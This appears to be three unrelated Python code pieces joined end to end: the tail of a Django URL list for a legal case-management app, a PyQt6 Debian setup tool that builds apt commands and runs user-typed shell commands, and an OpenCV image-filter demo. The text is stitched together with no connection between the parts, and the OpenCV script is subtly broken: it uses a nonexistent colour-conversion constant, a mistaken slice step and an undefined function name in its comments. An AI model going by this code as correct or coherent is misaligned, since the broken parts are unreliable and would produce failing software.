         detail_session, name="session_detail"),
    path('cases/court-sessions/<int:pk>/update',
         update_session, name="session_update"),
    path('cases/court-sessions/<int:pk>/delete',
         delete_session, name="session_delete"),

    ############################################### PROCESSES ####################################
    path('cases/processes/add', add_process, name="process_add"),
    path('cases/processes/list', list_processes, name="list_process"),

    path('cases/processes/<int:pk>/generate-process', generate_process1, name="generate_process"),
    path('cases/processes/<int:pk>/process-detail', process_detail, name="process_detail"),
    path('cases/processes/<int:pk>/process-update', update_process, name="process_update"),
    path('cases/processes/<int:pk>/delete-process', delete_process, name="process_delete"),

    ############################################### BILL CASE ####################################
    path('cases/<int:pk>/bill-case',bill_case,name='bill_case'),

    path('cases/tasks/<int:pk>/edit-task',edit_task,name='edit_task'),

    ############################################### POST ACTION REPORT ##########################
    path('cases/post-action-report/<int:pk>/add-new',add_action_report,name="add_action"),
    path('cases/post-action-report/<int:pk>/report-list',list_action_reports,name='list_report'),
    path('cases/post-action-report/<int:pk>/report-detail',post_action_detail,name="action_detail"),
    path('cases/post-action-report/<int:pk>/update-report',update_action,name='action_update'),
    path('cases/post-action-report/<int:pk>/delete-report',delete_action,name='action_delete'),

##################################### REPRESENTATION ############################################
    path('cases/representation/add',add_rep,name="add_rep"),
    path('cases/representation/list',rep_list,name="rep_list"),
    path('cases/representation/<int:pk>/details',rep_detail,name="rep_detail"),
    path('cases/representation/<int:pk>/update',update_rep,name="update_rep"),
    path('cases/representation/<int:pk>/delete',delete_rep,name="delete_rep"),
    path("cases/<int:pk>/case-history",case_history,name='case_history'),

    ################################### ARCHIVE REQUESTS #########################################
    path('cases/archives/request',request_file,name='request_file'),
    path('cases/archives/requests/list',request_list,name='request_list'),
    path('cases/archives/<int:pk>/request',make_request,name='make_request'),
    path('cases/archives/<int:pk>/request/approve',approve_request,name='approve_request'),

    ################################### CASE FILES ###############################################
    path('cases/files/all-files',all_files,name="all_files"),
    path('cases/start-timer',start_timer,name="start_timers"),
    path('cases/edit_start_timer',edit_start_timer,name="edit_start_timer"),
    path('cases/<int:pk>/timer/elapsed-time',case_hours,name="case_hours"),
    path('cases/addpercharge',addpercharge,name="addpercharge"),
    path('cases/delete_case/<int:pk>',delete_case,name="delete_case"),

     ################################## EXPENSES #################################################
    path('cases/expenses/', ExpenseListView.as_view(), name='expenses'),
    path('cases/pending_expenses/', PendingExpenseListView.as_view(), name='pending_expenses'),
    path('cases/expenses/<int:pk>/detail', ExpenseDetailView.as_view(), name='expense_detail'),
    path('cases/expenses/<int:pk>/update', update_expense, name='update_expense'),
    path('cases/expenses/<int:pk>/delete', delete_expense, name='delete_expense'),
    path('cases/expenses/add-expense',add_expense,name='add_expense'),
    path('cases/accept_expense/<int:pk>',accept_expense,name='accept_expense'),
    path('cases/decline_expense/<int:pk>',decline_expense,name='decline_expense'),
    path('cases/resend_expense/<int:pk>',resend_expense,name='resend_expense'),

    ################################### Renumeration #############################################
    path('case/renumeration/list',RenumerationList.as_view(),name='renumerations'),
    path('case/renumeration/<int:pk>/approve',approve_renumeration,name='approve_renumeration'),
    path('case/renumeration/<int:pk>/request',request_renumeration,name='request_renumeration'),

    ################################## REQUEST CLIENT PAYMENT INFORMATION ########################
    path('cases/<int:pk>/client-payment',request_client_payment,name='request_payment_info'),
    path('cases/<int:pk>/update-client-payment',update_client_payment,name='update_payment_info'),
    path('cases/client-payment',client_payment_list,name='client_payment_list'),
    path('cases/<int:pk>/client-payment-details',client_payment_detail,name='client_payment_detail'),

    ################################## INVOICE ########################
    path('cases/generate_invoice_total/<int:pk>',generate_invoice_total,name='generate_invoice_total'),
    path('cases/generate_invoice_total_save/<int:pk>',generate_invoice_total_save,name='generate_invoice_total_save'),

    ############################################### USERLOGS ####################################

    path('userlogs/', all_user_logs, name='all_user_logs'),
    path('caselogs/<int:pk>', all_user_logs_per_case, name='all_user_logs_per_case'),

    ]


from Modulos.Modulo_System import(
    Command_Run
)

#from Modulos.Modulo_Text import(
#    Text_Read
#)

from Modulos.Modulo_Files import(
    Files_List
)
from Modulos import Modulo_Util_Debian as Util_Debian
from Modulos.Modulo_Language import get_text as Lang
from Interface import Modulo_Util_Qt as Util_Qt
from pathlib import Path
import subprocess

import sys
from functools import partial
from PyQt6.QtWidgets import (
    QApplication,
    QWidget,
    QDialog,
    QScrollArea,
    QLabel,
    QPushButton,
    QLineEdit,
    QCheckBox,
    QComboBox,
    QVBoxLayout,
    QHBoxLayout,
)
from PyQt6.QtCore import Qt

cfg_file = f'Script_CFG.txt'
cfg_dir = 'Script_Apps/'

def Config_Save(parent=None, cfg=None):
    if cfg == None:
        pass
    else:
        Util_Qt.Dialog_Command_Run(
            parent=parent,
            cmd=cfg,
            cfg_file=cfg_file
        ).exec()

class Window_Main(QWidget):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.setWindowTitle('Preparing OS')
        self.resize(308, 308)

        # Contenedor principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Secciones verticales - Opciones
        vbox_main.addStretch()

        button_auto = QPushButton( Lang('auto') )
        button_auto.clicked.connect(self.evt_automatic)
        vbox_main.addWidget(button_auto)

        button_apps = QPushButton( Lang('app_menu') )
        button_apps.clicked.connect(self.evt_application)
        vbox_main.addWidget(button_apps)

        button_apt = QPushButton( 'Aptitude' )
        button_apt.clicked.connect(self.evt_aptitude)
        vbox_main.addWidget(button_apt)

        button_repo = QPushButton( Lang('repos_nonfree') )
        button_repo.clicked.connect(self.evt_repository)
        vbox_main.addWidget(button_repo)

        button_3_buffer = QPushButton( Lang('on_3_buffer') )
        button_3_buffer.clicked.connect(self.evt_triple_buffer)
        vbox_main.addWidget(button_3_buffer)

        button_mouse_cfg = QPushButton(
            f'{Lang("cfg")} - Mouse'
        )
        button_mouse_cfg.clicked.connect(self.evt_mouse_cfg)
        vbox_main.addWidget(button_mouse_cfg)

        # Seccion Vertical - Ejecutar comando
        hbox = QHBoxLayout()
        vbox_main.addLayout(hbox)

        button_exec_cmd = QPushButton(
            f'{Lang("exec")} {Lang("cmd")}'
        )
        button_exec_cmd.clicked.connect(self.evt_exec_command)
        hbox.addWidget( button_exec_cmd )

        hbox.addStretch()

        self.entry_exec_cmd = QLineEdit(
            placeholderText=Lang('cmd')
        )
        self.entry_exec_cmd.returnPressed.connect(self.evt_exec_command)
        hbox.addWidget( self.entry_exec_cmd )

        # Seccion Vertical - Ver comandos
        vbox_main.addStretch()

        button_view_cfg = QPushButton(
            Lang('view_cfg')
        )
        button_view_cfg.clicked.connect(self.evt_view_cfg)
        vbox_main.addWidget(button_view_cfg)

        # Seccion Vertical final, salir
        #vbox_main.addStretch()

        #button_exit = QPushButton( Lang('exit') )
        #button_exit.clicked.connect(self.evt_exit)
        #vbox_main.addWidget(button_exit)

        # Fin, mostrar ventana
        self.show()

    def evt_automatic(self):
        self.hide()
        Dialog_Automatic(
            parent=self
        ).exec()
        self.show()

    def evt_mouse_cfg(self):
        self.hide()
        Dialog_mouse_config(
            parent=self
        ).exec()
        self.show()

    def evt_triple_buffer(self):
        self.hide()
        Dialog_TripleBuffer(
            parent=self
        ).exec()
        self.show()

    def evt_application(self):
        self.hide()
        Dialog_apps_menu(
            parent=self,
        ).exec()
        self.show()

    def evt_aptitude(self):
        self.hide()
        Dialog_Aptitude(
            parent=self
        ).exec()
        self.show()

    def evt_repository(self):
        Config_Save(
            parent=self,
            cfg=Util_Debian.Repository()
        )

    def evt_exec_command(self):
        command = self.entry_exec_cmd.text()
        if command == '':
            pass
        else:
            Command_Run(
                cmd=command,
                open_new_terminal=True,
                text_input=Lang('continue_enter')
            )

    def evt_view_cfg(self):
        self.hide()
        Util_Qt.Dialog_TextEdit(
            self,
            text=cfg_file,
            edit=False
        ).exec()
        self.show()

    #def evt_exit(self):
    #    self.close()

class Dialog_Automatic(QDialog):
    def __init__(self, parent=None):
        super().__init__(parent)

        self.setWindowTitle('Automatic Mode')
        self.resize(512, 128)

        # Contenedor principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Seccion Vertical - Opción escritorio
        hbox = QHBoxLayout()
        vbox_main.addLayout(hbox)

        self.checkbox_app_desktop = QCheckBox(Lang('app_desk'))
        hbox.addWidget(self.checkbox_app_desktop)

        hbox.addStretch()

        self.combobox_app_desktop = QComboBox()
        some_desktops = [
            'Desktop-xfce4',
            'Desktop-kdeplasma',
            'Desktop-gnome3',
            'Desktop-lxde',
            'Desktop-mate'
        ]
        for desktop in some_desktops:
            self.combobox_app_desktop.addItem(desktop)
        hbox.addWidget(self.combobox_app_desktop)

        # Seccion Vertical - Opción apps opcionales
        hbox = QHBoxLayout()
        vbox_main.addLayout(hbox)

        self.checkbox_app_optional = QCheckBox(Lang('app_optional'))
        hbox.addWidget(self.checkbox_app_optional)

        hbox.addStretch()

        self.combobox_app_optional = QComboBox()
        self.path_app_optional = f'{cfg_dir}App_Optional/'
        if(
            Path(
                self.path_app_optional +
                'App_Optional-wine.txt'
            ).exists() or
            Path(
                self.path_app_optional +
                'App_Optional-flatpak.txt'
            ).exists() or
            Path(
                self.path_app_optional +
                'App_Optional-woeusb-ng.txt'
            ).exists()
        ):
            pass
        else:
            Util_Debian.App('Optional-wine')
            Util_Debian.App('Optional-flatpak')
            Util_Debian.App('Optional-woeusb-ng')

        archives = Files_List(
            files='App_Optional-*.txt',
            path=self.path_app_optional,
            remove_path=True
        )
        for app_optional in archives:
            self.combobox_app_optional.addItem(app_optional)
        hbox.addWidget(self.combobox_app_optional)

        # Seccion Vertical final - Iniciar
        vbox_main.addStretch()

        button_start = QPushButton(Lang('start'))
        button_start.clicked.connect(self.evt_start_automatic_mode)
        vbox_main.addWidget(button_start)

    def evt_start_automatic_mode(self):
        # Si este el checkbox desktop en True
        config_apps = ''
        if self.checkbox_app_desktop.isChecked() == True:
            config_apps += Util_Debian.App(
                self.combobox_app_desktop.currentText(),
                '&&\n\n'
            )
        else:
            pass

        # Si el checkbox app optional esta en True
        if self.checkbox_app_optional.isChecked() == True:
            config_apps += Util_Debian.App(
                txt='&&\n\n',
                txt_title=(
                    f'{Lang("app")} / '
                    f'{self.combobox_app_optional.currentText()}'
                ),
                txt_add='',
                cfg_dir='./',
                cfg_file=(
                    self.path_app_optional +
                    self.combobox_app_optional.currentText()
                ),
                opc='continue'
            )
        else:
            pass
        #config_apps = config_apps[:-4]
        print(config_apps)

        # Configuracion esencial, obligatoria
        Config_Save(
            parent=self,
            cfg=(
                Util_Debian.Aptitude('update') + '&&\n\n' +
                Util_Debian.App('Essential', '&&\n\n') +
                Util_Debian.App('Dependence', '&&\n\n') +
                Util_Debian.App('Uninstall', '&&\n\n') +
                config_apps +
                Util_Debian.Aptitude('clean')
            )
        )

class Dialog_Aptitude(QDialog):
    def __init__(self, parent=None):
        super().__init__(parent)

        self.setWindowTitle('Aptitude')
        self.resize(308, 256)

        # Contenedor Principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Secciones Verticales - Botones - Actualizar y limpiar
        button_update = QPushButton(Lang('upd'))
        button_update.clicked.connect(self.evt_apt_update)
        vbox_main.addWidget(button_update)

        button_clean = QPushButton(Lang('cln'))
        button_clean.clicked.connect(self.evt_apt_clean)
        vbox_main.addWidget(button_clean)

        # Seccion Vertical - Espaciador
        vbox_main.addStretch()

        # Seccion Vertical - Boton Instalar
        hbox = QHBoxLayout()
        vbox_main.addLayout(hbox)

        button_install = QPushButton(Lang('install'))
        button_install.clicked.connect(self.evt_apt_app_install)
        hbox.addWidget(button_install)

        self.entry_install = QLineEdit(
            placeholderText=Lang('app'),
        )
        #self.entry_install.returnPressed.connect(self.evt_apt_app_install)
        hbox.addWidget(self.entry_install)

        # Seccion Vertical - Boton Purgar
        hbox = QHBoxLayout()
        vbox_main.addLayout(hbox)

        button_purge = QPushButton(Lang('prg'))
        button_purge.clicked.connect(self.evt_apt_app_purge)
        hbox.addWidget(button_purge)

        self.entry_purge = QLineEdit(
            placeholderText=Lang('app'),
        )
        #self.entry_purge.returnPressed.connect(self.evt_apt_app_purge)
        hbox.addWidget(self.entry_purge)

    def evt_apt_update(self):
        Config_Save(
            self,
            cfg=Util_Debian.Aptitude('update')
        )

    def evt_apt_clean(self):
        Config_Save(
            self,
            cfg=Util_Debian.Aptitude('clean')
        )

    def evt_apt_app_install(self):
        if self.entry_install.text() == '':
            pass
        else:
            Config_Save(
                parent=self,
                cfg = (
                    'sudo apt update &&\n\n' +
                    Util_Debian.Aptitude('install') +
                    self.entry_install.text()
                )
            )

    def evt_apt_app_purge(self):
        if self.entry_purge.text() == '':
            pass
        else:
            Config_Save(
                parent=self,
                cfg = (
                    Util_Debian.Aptitude('purge') +
                    self.entry_purge.text() + ' &&\n\n'
                    'sudo apt autoremove ' +
                    self.entry_purge.text() + ' &&\n\n' +
                    Util_Debian.Aptitude('clean')
                )
            )

class Dialog_apps_menu(QDialog):
    def __init__(self, parent=None):
        super().__init__(parent)

        self.setWindowTitle(Lang('app_menu'))
        self.resize(308, 256)

        # Contenedor principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Secciones verticales - Opciones
        button_app_essential = QPushButton(Lang('essential'))
        button_app_essential.clicked.connect(self.evt_app_essential)
        vbox_main.addWidget(button_app_essential)

        button_app_dependence = QPushButton(Lang('depens'))
        button_app_dependence.clicked.connect(self.evt_app_dependence)
        vbox_main.addWidget(button_app_dependence)

        button_app_uninstall = QPushButton(Lang('utll'))
        button_app_uninstall.clicked.connect(self.evt_app_uninstall)
        vbox_main.addWidget(button_app_uninstall)

        button_app_desktop = QPushButton(Lang('desk'))
        button_app_desktop.clicked.connect(self.evt_app_desktop)
        vbox_main.addWidget(button_app_desktop)

        button_app_optional = QPushButton(Lang('optional'))
        button_app_optional.clicked.connect(self.evt_app_optional)
        vbox_main.addWidget(button_app_optional)

    def evt_app_essential(self):
        Config_Save(
            parent=self,
            cfg=Util_Debian.App(opc='Essential')
        )

    def evt_app_dependence(self):
        Config_Save(
            parent=self,
            cfg=Util_Debian.App(opc='Dependence')
        )

    def evt_app_uninstall(self):
        Config_Save(
            parent=self,
            cfg=Util_Debian.App(opc='Uninstall')
        )

    def evt_app_desktop(self):
        Dialog_app_desktop(parent=self).exec()

    def evt_app_optional(self):
        Dialog_app_optional(parent=self).exec()

class Dialog_app_desktop(QDialog):
    def __init__(self, parent=None):
        super().__init__(parent)

        self.setWindowTitle(Lang('app_desk'))
        self.resize(308, 128)

        # Contenedor Principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Secciones verticales - Opciones
        list_app_desktop = [
            'Desktop-xfce4',
            'Desktop-kdeplasma',
            'Desktop-gnome3',
            'Desktop-lxde',
            'Desktop-mate'
        ]

        for app_desktop in list_app_desktop:
            button_app_desktop = QPushButton(app_desktop)
            button_app_desktop.clicked.connect(
                partial(self.evt_app_desktop, button=button_app_desktop)
            )
            vbox_main.addWidget(button_app_desktop)

    def evt_app_desktop(self, button):
        Config_Save(
            parent=self,
            cfg=Util_Debian.App(button.text())
        )

class Dialog_app_optional(QDialog):
    def __init__(self, parent):
        super().__init__(parent)

        self.setWindowTitle( Lang('app_optional') )
        self.resize(308, 360)

        # Contenedor Principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Seccioner Verticales - Botones
        # Scroll
        scroll_area = QScrollArea()
        scroll_area.setVerticalScrollBarPolicy(
            Qt.ScrollBarPolicy.ScrollBarAsNeeded
        )
        vbox_main.addWidget(scroll_area)

        # Scroll - Contenedor de Widgets
        widget_buttons = QWidget()

        # Scroll - Layout
        vbox = QVBoxLayout()
        widget_buttons.setLayout(vbox)

        # Scroll - Layout - Botones en orden vertical
        self.path_app_optional = f'{cfg_dir}App_Optional/'
        if (
            Path(
                f'{self.path_app_optional}'
                'App_Optional-wine.txt'
            ).exists() or
            Path(
                f'{self.path_app_optional}'
                'App_Optional-flatpak.txt'
            ).exists() or
            Path(
                f'{self.path_app_optional}'
                'App_Optional-woeusb-ng.txt'
            ).exists()
        ):
            pass
        else:
            Util_Debian.App('Optional-wine')
            Util_Debian.App('Optional-flatpak')
            Util_Debian.App('Optional-woeusb-ng')

        try:
            archives_app_optional = Files_List(
                files='App_Optional-*.txt',
                path=self.path_app_optional,
                remove_path=True
            )

            self.list_app_optional = []
            for text_app_optional in archives_app_optional:
                button_app_optional = QPushButton(text_app_optional)
                button_app_optional.clicked.connect(
                    partial(self.evt_app_optional, button=button_app_optional)
                )
                vbox.addWidget(button_app_optional)

                self.list_app_optional.append(text_app_optional)
        except:
            pass

        # Scroll - Agregar widgets
        scroll_area.setWidget(widget_buttons)

        # Seccion Vertical - Boton para todas las apps
        vbox_main.addStretch()

        button_all_app_optional = QPushButton(Lang('all_apps'))
        button_all_app_optional.clicked.connect(
            self.evt_all_app_optional
        )
        vbox_main.addWidget(button_all_app_optional)

    def evt_app_optional(self, button):
        if button.text() in self.list_app_optional:
            Config_Save(
                parent = self,
                cfg = Util_Debian.App(
                    txt_title = f'{Lang("app")} / {button.text()}',
                    txt_add = '',
                    cfg_dir = './',
                    cfg_file = (
                        self.path_app_optional +
                        button.text()
                    ),
                    opc = 'continue'
                )
            )
        else:
            pass

    def evt_all_app_optional(self):
        app = ''
        app_all = ''
        line_jump = '&&\n\n'

        for text_app_optional in self.list_app_optional:
            app = Util_Debian.App(
                txt = line_jump,
                txt_title = f'{Lang("app")} / {text_app_optional}',
                txt_add = '',
                cfg_dir = './',
                cfg_file = (
                    self.path_app_optional +
                    text_app_optional
                ),
                opc = 'continue'
            )
            app_all += app

        # Este es el caracter 4 de line_jump...
        if '&' == app_all[-4]:
            app_all = app_all[:-4]
        else:
            pass

        Config_Save(
            parent=self,
            cfg=app_all
        )

class Dialog_TripleBuffer(QDialog):
    def __init__(self, parent=None):
        super().__init__(parent)

        self.setWindowTitle( 'Triple Buffer Config' )
        self.resize(308, 256)

        # Contenedor principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Secciones Vertical - Comando para ver Triple Buffer
        command = 'grep drivers /var/log/Xorg.0.log'
        command_run = subprocess.check_output(
            command, shell=True, text=True
        )
        label_command = QLabel(
            f'{Lang("cmd")}: "{command}\n'
            '\n'
            f'{command_run}'
        )
        label_command.setTextInteractionFlags(
            Qt.TextInteractionFlag.TextSelectableByMouse |
            Qt.TextInteractionFlag.TextSelectableByKeyboard
        )
        label_command.setWordWrap(True)
        vbox_main.addWidget(label_command)

        # Secciones Verticales - Botones
        list_graphics = [
            Lang('gpc_amd'),
            Lang('gpc_intel')
        ]
        for graphic in list_graphics:
            button_graphic = QPushButton(graphic)
            button_graphic.clicked.connect(
                partial(
                    self.evt_TripleBuffer_graphic, button=button_graphic
                )
            )
            vbox_main.addWidget(button_graphic)

    def evt_TripleBuffer_graphic(self, button):
        dict_graphics = {
            Lang('gpc_amd'): '20-radeon.conf',
            Lang('gpc_intel'): '20-intel-gpu.conf'
        }

        if button.text() in dict_graphics:
            graphic = dict_graphics[button.text()]

            Config_Save(
                parent=self,
                cfg=Util_Debian.TripleBuffer(graphic)
            )
        else:
            pass
            #graphic = button.text()

class Dialog_mouse_config(QDialog):
    def __init__(self, parent=None):
        super().__init__(parent)

        self.setWindowTitle('Mouse Config')
        self.resize(256, 128)

        # Contenedor Principal
        vbox_main = QVBoxLayout()
        self.setLayout(vbox_main)

        # Seccion Vertical - Aceleración - Activar/Desactivar
        hbox = QHBoxLayout()
        vbox_main.addLayout(hbox)

        button_acceleration = QPushButton()
        button_acceleration.setCheckable(True)
        button_acceleration.clicked.connect(
            partial(
                self.evt_mouse_acceleration_onoff,
                button=button_acceleration
            )
        )
        hbox.addWidget(button_acceleration)

        if Path(
            '/usr/share/X11/xorg.conf.d/'
            '50-mouse-acceleration.conf'
        ).exists():
            button_acceleration.setChecked(False)
            button_acceleration.setText(Lang("acclr_off"))
        else:
            button_acceleration.setChecked(True)
            button_acceleration.setText(Lang("acclr_on"))

    def evt_mouse_acceleration_onoff(self, button):
        if button.isChecked() == True:
            option = 'AccelerationON'
            button.setText( Lang('acclr_on') )
        else:
            option = 'AccelerationOFF'
            button.setText( Lang('acclr_off') )

        Config_Save(
            parent=self,
            cfg=Util_Debian.Mouse_Config(option)
        )

if __name__ == '__main__':
    app = QApplication(sys.argv)
    window = Window_Main()
    sys.exit(app.exec())


import cv2
from matplotlib import pyplot as plt
import numpy as np

input_image = "Prasanna.png"

def display_save(display_name, file_name, img):
    cv2.imshow(display_name, img)
    cv2.waitKey(0)
    cv2.destroyAllWindows()
    cv2.imwrite(file_name, img)

def grayscale():
    img = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    display_save("Gray", "prasanna_gray.png", img)

def blur():
    img = cv2.imread(input_image)
    kernel = np.ones((20,20),np.float32)/400
    blur = cv2.filter2D(img,-1,kernel)
    display_save("Blurred", "prasanna_blurred.png", blur)

def change_color_space():
    img = cv2.imread(input_image)
    op = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
    display_save("BGR2HSV", "prasanna_hsv.png", op)

def mix_color_scheme():
    img = cv2.imread(input_image)
    rows,cols,channels = img.shape
    img[:int(rows),:2*int(cols/3),:] = cv2.cvtColor(img[:int(rows),:2*int(cols/3),:],cv2.COLOR_BGR2RBG)
    img[:int(rows),int(cols/3):2*int(cols/3),:] = cv2.cvtColor(img[:int(rows),:int(cols/3):2*int(cols/3),:],cv2.COLOR_LAB2BGR)
    img[:int(rows),2*int(cols/3):,:] = cv2.cvtColor(img[:int(rows),2*int(cols/3):,:],cv2.COLOR_RGB2YCrCb)
    display_save("Mix Color", "prasanna_mix_color.png", img)

def erosion():
    img = cv2.imread(input_image)
    kernel = np.ones((8,8),np.uint8)
    erosion = cv2.erode(img,kernel,iterations = 1)
    display_save("erosion", "prasanna_eroded.png", erosion)

def morph_gradient():
    img = cv2.imread(input_image)
    kernel = np.ones((10,10),np.uint8)
    gradient = cv2.morphologyEx(img, cv2.MORPH_GRADIENT, kernel)
    display_save("gradient", "prasanna_gradient.png", gradient)

def mask_face():
    img = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    mask = np.zeros(img.shape[:2], np.uint8)
    mask[200:780, 300:750] = 255
    masked_img = cv2.bitwise_and(img,img,mask = mask)
    display_save("Masked Image", "masked_img.png", masked_img)

def histogram_equalization():
    img = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    equ = cv2.equalizeHist(img)
    display_save("Histogram Equalization", "prasanna_gray_histequ.png", equ)

def affine_transformation():
    img = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    rows,cols = map(int, img.shape)
    pts1 = np.float32([[70,50],[200,70],[70,200]])
    pts2 = np.float32([[100,100],[200,50],[100,250]])
    M = cv2.getAffineTransform(pts1,pts2)
    dst = cv2.warpAffine(img,M,(cols,rows))
    display_save("Affline Transformation", "prasanna_affline1.png", dst)

def edge_detection():
    img = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    edges = cv2.Canny(img,100,200)
    display_save("Edges", "prasanna_edges.png", edges)

def image_thresholding():
    img = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    ret,thresh1 = cv2.threshold(img,127,255,cv2.THRESH_BINARY)
    display_save("IMG_THRESHOLDING", "prasanna_thresholding.png", thresh1)

'''
grayscale()
blur() #1
change_color_space() #2
switch_color_scheme() #3
erosion() #4
morph_gradient() #5
mask_face() #6
histogram_equalization() #7
affine_transformation() #8
edge_detection() #9
image_thresholding() #10
'''
blur()